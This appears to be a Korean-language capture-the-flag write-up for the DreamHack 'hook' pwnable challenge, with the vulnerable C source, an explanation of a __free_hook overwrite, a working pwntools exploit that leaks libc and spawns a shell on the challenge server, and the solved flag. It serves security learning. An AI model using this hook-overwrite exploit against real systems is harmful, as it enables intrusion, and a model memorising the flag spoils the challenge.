본문 바로가기

Pwnable

[DreamHack] hook Write-Up

 

문제코드

	// gcc -o init_fini_array init_fini_array.c -Wl,-z,norelro
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
 
void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}
 
void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(60);
}
 
int main(int argc, char *argv[]) {
    long *ptr;
    size_t size;
 
    initialize();
 
    printf("stdout: %p\n", stdout);
 
    printf("Size: ");
    scanf("%ld", &size);
 
    ptr = malloc(size);
 
    printf("Data: ");
    read(0, ptr, size);
 
    *(long *)*ptr = *(ptr+1);
 
    free(ptr);
    free(ptr);
 
    system("/bin/sh");
    return 0;

 

 

tdout 포인터로 주소를 알려주고 문자열을 얼마나 받을지 size를 입력받은 뒤 ptr에 size만큼 malloc으로 할당해준다.

 할당받은 ptr에 값을 입력받고, ptr[0]에 있는 값(주소 값)을 참조한 것에 ptr[1] 값을 넣어준다.

 

그리고, free를 두 번 해서 종료된다.

 

보호 기법 Full RELRO와 Canary found로 인해서 got_overwrite는 불가능한 상황이다.
PIE는 적용되지 않았다.

free가 두 번 사용되니까 __free_hook 변수에 main에 있는 system("/bin/sh")주소를 넣어주면 될듯싶다.

 

 


먼저, malloc을 통해 동적 메모리 공간을 할당받으면, 그 주소값이 ptr에 저장된다. 이후 read 함수를 통해 ptr이 가리키는 메모리 공간에 접근할 수 있다. 이때, ptr에 __free_hook의 주소를 넣고, ptr + 1이 가리키는 값은 system("/bin/sh")로 설정한다. 이렇게 하면 나중에 free 함수가 호출될 때, __free_hook에 저장된 값이 실행된다. 이 경우 __free_hook은 system("/bin/sh")를 가리키고 있기 때문에, free 함수가 호출되면 쉘을 획득할 수 있다. 따라서 *ptr에 __free_hook + system("/bin/sh")의 주소를 넣으면 되며, PIE가 적용되지 않은 환경이니까 main 함수의 system("/bin/sh") 주소를 사용할 수 있다.

레지스터 edi에 /bin/sh이 저장된 0x400a11가 system("/bin/sh")의 주소이다. 

 

->  __free_hook의 값을 덮는 Hook Overwrite 문제였다. 

 

 

exploit

from pwn import*
p = remote("host3.dreamhack.games", 14481)
context.log_level = "debug"
e = ELF("./hook")
libc = ELF("./libc-2.23.so")
 
#one_gadget = [0xf1147, 0x45216, 0x4526a, 0xf02a4]
main_system = 0x0400A11
 
p.recvuntil("stdout: ")
stdout = int(p.recv(14), 16)
 
libc_base = stdout - libc.symbols['_IO_2_1_stdout_']
free_hook = libc_base + libc.symbols['__free_hook']
#magic = libc_base + one_gadget[2]
 
payload = p64(free_hook) + p64(main_system)
 
p.sendlineafter("Size: ", "400")
 
 
p.sendlineafter("Data: ", payload)
 
p.interactive()

Flag is
DH{c5e5c5c0a45d71d2666571ab2dc09cf4c4e750402ab4bb4c8a57091063ee7418}